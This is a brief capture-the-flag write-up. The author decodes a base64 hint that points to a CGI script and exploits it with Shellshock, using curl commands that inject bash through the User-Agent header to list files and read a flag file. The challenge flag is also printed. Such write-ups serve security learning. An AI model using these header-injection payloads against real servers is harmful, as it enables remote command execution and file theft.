Looking at the source code we find base64 encoded text
Like the way you think spidey Y2dpLWJpbi90ZXN0LnNo
On decoding
I search on google about cgi-bin
and found that they are mostly vulnerable to shellshock
that allows execution of bash commands
On refering to this blog post
https://wywyit.medium.com/ritsec-fall-2018-ctf-week-6-45d414035c76
I used
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'find / -type "*.txt"'" http://challenges.ctfd.io:30328/cgi-bin/test.sh
And it gave me a bunch of files
At the bottom I found
/usr/lib/python3.8/LICENSE.txt
/tmp/bash-4.3/doc/article.txt
/tmp/bash-4.3/doc/fdl.txt
/tmp/bash-4.3/examples/INDEX.txt
/home/admin/root.txt
/home/herman/user.txt
Bsides Islamabad# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /home/herman/user.txt'" http://challenges.ctfd.io:30328/cgi-bin/test.sh
Bsides-PK-Fl4g{sinister_six}
And that was our flag !